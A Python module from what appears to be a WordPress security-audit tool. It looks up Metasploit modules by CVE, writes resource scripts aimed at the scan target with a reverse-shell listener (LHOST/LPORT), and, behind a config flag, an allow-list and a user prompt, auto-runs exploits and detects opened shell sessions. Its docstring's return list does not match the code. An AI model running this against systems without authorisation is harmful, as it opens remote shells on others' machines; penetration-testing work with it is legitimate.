wpaudit/modules/exploit_intel/metasploit_handler.py

import re
import os
import subprocess
import time
from urllib.parse import urlparse
from core.tool_runner import run_command
from core.utils import get_scan_filename_prefix, user_confirm, sanitize_filename

# --- Constants ---
MSF_RC_DIR_NAME = "msf_resource_scripts" # Duplicated here for now, consider centralizing constants

def _generate_msf_rc_script(state, config, module_path, lhost, lport):
    """Generates a Metasploit resource (.rc) file for manual execution."""
    target_info = state.get_full_state()["scan_metadata"]["target_info"]
    rhost = target_info.get("ip", target_info.get("hostname"))
    target_url = target_info.get("url", "")
    # Determine RPORT based on URL scheme or default
    parsed_target_url = urlparse(target_url)
    rport = parsed_target_url.port or (443 if parsed_target_url.scheme == "https" else 80)
    ssl = "true" if parsed_target_url.scheme == "https" else "false"
    vhost = target_info.get("hostname", rhost) # Use hostname for VHOST if available

    # Create dedicated directory for RC files
    base_filename = get_scan_filename_prefix(state, config)
    rc_dir = os.path.join(config["output_dir"], MSF_RC_DIR_NAME)
    os.makedirs(rc_dir, exist_ok=True)
    sanitized_module_name = sanitize_filename(module_path.replace("/", "_"))
    rc_filename = f"{os.path.basename(base_filename)}_msf_{sanitized_module_name}_lport{lport}.rc"
    rc_file_path = os.path.join(rc_dir, rc_filename)

    rc_content = f"""# Metasploit Resource Script generated by WPAUDIT
# Module: {module_path}
# Target: {rhost}:{rport} (VHOST: {vhost})
# Listener: {lhost}:{lport}
# Generated: {time.strftime('%Y-%m-%d %H:%M:%S %Z')}

use {module_path}
set RHOSTS {rhost}
set RPORT {rport}
set LHOST {lhost}
set LPORT {lport}
set VERBOSE true
# --- Common Web Options (Uncomment/Adjust as needed) ---
# set SSL {ssl}
# set VHOST {vhost}
# set TARGETURI /path/to/vulnerable/app # Adjust if needed

# --- Payload Options (Example: Reverse TCP) ---
# set PAYLOAD generic/shell_reverse_tcp # Adjust payload if needed

# --- Check before running (Optional but Recommended) ---
# check

# --- Run the exploit ---
# exploit
# OR for auxiliary modules:
# run

# --- Instructions ---
# 1. Start msfconsole
# 2. Run: resource "{rc_file_path}" # Use quotes if path contains spaces
# 3. Review options with 'show options'
# 4. Adjust options if necessary (e.g., PAYLOAD, TARGETURI)
# 5. Run 'check' if available for the module
# 6. Run 'exploit' or 'run'
"""
    try:
        with open(rc_file_path, 'w') as f_rc:
            f_rc.write(rc_content)
        return rc_file_path
    except Exception as e:
        print(f"      [-] Error generating MSF resource script '{rc_file_path}': {e}")
        return None

def _run_metasploit_module(state, config, module_path, lhost, lport, timeout):
    """
    Attempts to run a specific Metasploit module. VERY DANGEROUS.
    """
    target_info = state.get_full_state()["scan_metadata"]["target_info"]
    rhost = target_info.get("ip", target_info.get("hostname"))
    target_url = target_info.get("url", "")
    parsed_target_url = urlparse(target_url)
    rport = parsed_target_url.port or (443 if parsed_target_url.scheme == "https" else 80)

    sanitized_module_name = sanitize_filename(module_path.replace("/", "_"))
    base_filename = get_scan_filename_prefix(state, config)
    msf_log_dir = os.path.join(config["output_dir"], "msf_autorun_logs")
    os.makedirs(msf_log_dir, exist_ok=True)
    msf_run_log_file = os.path.join(msf_log_dir, f"{os.path.basename(base_filename)}_msf_run_{sanitized_module_name}_lport{lport}.log")

    msf_commands = f"""
use {module_path}
set RHOSTS {rhost}
set RPORT {rport}
set LHOST {lhost}
set LPORT {lport}
set VERBOSE true
exploit -z
exit
"""
    command = ["msfconsole", "-q", "-x", msf_commands]
    print(f"          Executing MSF Autorun: {' '.join(command)}")
    log_content_header = f"Metasploit AUTORUN attempt for: {module_path}\nTarget: {rhost}:{rport}\nLHOST: {lhost}\nLPORT: {lport}\nCommand: {' '.join(command)}\n\n"
    run_status = "Failed"
    error_msg = None
    process = None # Initialize process to None

    try:
        with open(msf_run_log_file, 'w', errors='ignore') as log_f:
            log_f.write(log_content_header)
            process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1, universal_newlines=True, errors='ignore')
            for line in process.stdout:
                log_f.write(line)
            retcode = process.wait(timeout=timeout)
            if retcode != 0:
                 error_msg = f"msfconsole exited with code {retcode}"
                 run_status = f"Failed (RC={retcode})"

        if not run_status.startswith("Failed (RC="): # Only check log if Popen didn't already indicate failure
             with open(msf_run_log_file, 'r', errors='ignore') as f_check:
                 log_text_for_check = f_check.read().lower()
             if re.search(r"(session|command shell session|meterpreter session)\s+\d+\s+opened", log_text_for_check):
                 print(f"          [!!!] Metasploit AUTORUN for {module_path} appears SUCCESSFUL (Session Opened). Check log and listener!")
                 run_status = "Success (Session Opened Indicator)"
                 state.add_critical_alert(f"Metasploit: SUCCESSFUL AUTORUN of {module_path} against {rhost}. SESSION OPENED?")
             elif "exploit completed, but no session was created" in log_text_for_check:
                 print(f"          [-] Metasploit AUTORUN for {module_path} completed, but no session reported.")
                 run_status = "Completed (No Session)"
             else:
                 print(f"          [?] Metasploit AUTORUN for {module_path} finished (RC=0). Review log for details: {msf_run_log_file}")
                 run_status = "Completed (Unknown Outcome)"
        else: # Popen failed (RC!=0)
            print(f"          [-] Metasploit AUTORUN for {module_path} failed. RC={retcode}. Review log: {msf_run_log_file}")


    except subprocess.TimeoutExpired:
        error_msg = f"Autorun TIMED OUT after {timeout}s"
        print(f"          [-] Metasploit AUTORUN timed out for {module_path}.")
        run_status = "Timeout"
        state.add_tool_error(f"Metasploit Autorun Timeout: {module_path} on {rhost}")
        if process and process.poll() is None: process.kill()
    except Exception as e:
        error_msg = f"Autorun ERROR: {e}"
        print(f"          [-] Metasploit AUTORUN execution error for {module_path}: {e}")
        run_status = f"Error: {e}"
        state.add_tool_error(f"Metasploit Autorun Error: {module_path} on {rhost} - {e}")

    return {"module": module_path, "status": run_status, "log_file": msf_run_log_file, "error": error_msg}


def search_metasploit(state, config, query, base_scan_prefix_for_log, lhost_for_rc, current_lport_ref):
    """
    Searches Metasploit for a given query (typically CVE), parses results,
    generates RC files, and optionally attempts autorun.
    Returns:
        list: Found Metasploit modules.
        list: Paths to generated RC files.
        list: Results of autorun attempts.
        int: Updated LPORT value.
    """
    print(f"      Running Metasploit search for '{query}'...")
    found_msf_modules = []
    generated_rc_files_for_query = []
    autorun_attempts_for_query = []
    
    msfconsole_search_timeout = config.get("msfconsole_timeout", 90)
    msfconsole_exploit_timeout = config.get("msfconsole_exploit_timeout", 300)
    enable_autorun = config.get("exploit_intel_enable_autorun", False)
    allowed_autorun_modules = config.get("exploit_intel_autorun_modules", [])

    msf_search_console_log = os.path.join(
        config.get("output_dir", "."),
        "tool_logs",
        f"{os.path.basename(base_scan_prefix_for_log)}_msfsearch_{sanitize_filename(query)}.log"
    )
    os.makedirs(os.path.dirname(msf_search_console_log), exist_ok=True)

    try:
        cve_id_for_msf = query.upper().replace("CVE-", "")
        msf_cmd_str = f"search cve:{cve_id_for_msf}; exit"

        process_msf_obj = run_command(
            ["msfconsole", "-q", "-x", msf_cmd_str],
            "Metasploit Search", config,
            timeout=msfconsole_search_timeout,
            return_proc=True,
            log_file_path=msf_search_console_log
        )

        if process_msf_obj and hasattr(process_msf_obj, 'returncode') and process_msf_obj.returncode == 0:
            msf_output = ""
            if os.path.exists(msf_search_console_log):
                with open(msf_search_console_log, 'r', errors='ignore') as f_log_msf:
                    msf_output = f_log_msf.read()
            
            if not msf_output:
                print(f"      [?] Metasploit search log for '{query}' is empty. Log: {msf_search_console_log}")

            module_regex = re.compile(r"^\s*\d*\s+(exploit|auxiliary)/(\S+)\s+\S+\s+(\w+)\s+.*?\s+(.*)$", re.MULTILINE)
            for match in module_regex.finditer(msf_output):
                module_type = match.group(1)
                module_name = match.group(2)
                module_path = f"{module_type}/{module_name}"
                module_rank = match.group(3)
                module_desc = match.group(4).strip()

                module_info = {"path": module_path, "rank": module_rank, "description": module_desc}
                found_msf_modules.append(module_info)

                rc_file_path = _generate_msf_rc_script(state, config, module_path, lhost_for_rc, current_lport_ref[0])
                if rc_file_path:
                    print(f"        -> Generated MSF resource script: {rc_file_path}")
                    generated_rc_files_for_query.append({
                        "query": query, "module": module_path,
                        "rc_file": rc_file_path, "description": module_desc
                    })
                    current_lport_ref[0] += 1 # Increment LPORT by reference

                if enable_autorun and module_path in allowed_autorun_modules:
                    port_for_autorun = current_lport_ref[0] - 1 if rc_file_path else current_lport_ref[0]
                    if user_confirm(f"Attempt to AUTORUN Metasploit module '{module_path}' (LPORT: {port_for_autorun}) against target? EXTREMELY DANGEROUS.", config):
                        print(f"        [*] Attempting autorun for module: {module_path} (LPORT: {port_for_autorun})")
                        autorun_result = _run_metasploit_module(state, config, module_path, lhost_for_rc, port_for_autorun, msfconsole_exploit_timeout)
                        autorun_attempts_for_query.append(autorun_result)
                        print(f"        -> Autorun Status for {module_path}: {autorun_result.get('status')}. Log: {autorun_result.get('log_file')}")
                    else:
                        print(f"        [i] Skipping autorun for {module_path} (User Declined).")
                        autorun_attempts_for_query.append({"module": module_path, "status": "Skipped (User Declined)", "log_file": None})
            
            if found_msf_modules:
                print(f"      [+] Metasploit: Found {len(found_msf_modules)} potential module(s) for '{query}'.")
            elif "No results from search" not in msf_output and ("exploit/" in msf_output or "auxiliary/" in msf_output):
                 print(f"      [+] Metasploit: Output suggests modules for '{query}' (parsing might need refinement).")
                 # Storing a snippet might be useful if parsing fails but output exists
                 # found_exploits_dict[query]["metasploit_output_snippet"] = msf_output.split("Matching Modules")[-1][:500] if "Matching Modules" in msf_output else msf_output[:500]


    except Exception as e:
        print(f"      [-] Metasploit: Error searching/running for '{query}': {e}")
        state.add_tool_error(f"Metasploit search/run Error for query '{query}': {e}")
    
    return found_msf_modules, generated_rc_files_for_query, autorun_attempts_for_query